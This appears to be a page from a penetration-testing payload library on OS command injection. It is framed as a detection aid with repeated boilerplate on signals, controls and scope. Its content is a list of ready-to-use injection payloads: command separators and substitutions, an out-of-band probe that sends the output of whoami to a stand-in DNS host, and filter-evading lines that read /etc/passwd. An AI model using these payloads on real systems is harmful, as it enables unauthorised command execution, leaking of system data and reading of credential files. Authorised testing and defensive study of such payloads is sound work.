Command Injection
Separators and substitution to break into OS command execution. Use OOB (interactsh) to confirm blind cases; the last entries bypass naive space/keyword filters.
Use as a detection primitive
Separators and substitution to break into OS command execution. Use OOB (interactsh) to confirm blind cases; the last entries bypass naive space/keyword filters.
Identify the parser, sink, encoding, and expected non-vulnerable behavior before choosing a sample. Prefer non-destructive markers.
Recorded payloads
Confirm the sink and encoding context before use.
; id- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
| id- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
|| id- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
&& id- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
$(id)- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
`id`- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
id- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
; nslookup $(whoami).OOB.example.com- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
cat${IFS}/etc/passwd- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Confirm the sink and encoding context before use.
;c\at /et\c/pas\swd- Positive signal
- Tool-specific output that supports the stated hypothesis.
- Negative control
- No result, or identical behavior against a known-safe control.
- Intrusiveness
- Review flags and target scope before execution.
Attribution
Version history: normalized permanent page created 2026-08-20.